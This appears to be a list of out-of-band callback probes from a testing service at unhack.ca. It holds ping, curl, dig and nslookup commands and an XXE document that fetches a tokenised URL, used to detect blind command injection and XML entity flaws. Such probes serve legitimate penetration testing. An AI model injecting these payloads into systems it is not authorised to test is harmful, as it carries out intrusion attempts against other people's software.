$ ping -c1 -p 0018716b953bd0a43d4278e66542a000 unhack.ca
$ curl http://unhack.ca/p/18716b953bd0a43d4278e66542a0
$ dig 18716b953bd0a43d4278e66542a0 @unhack.ca
$ dig 18716b953bd0a43d4278e66542a0.ns.unhack.ca
C:\> nslookup 18716b953bd0a43d4278e66542a0 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/18716b953bd0a43d4278e66542a0">]> <foo>&xxe;</foo>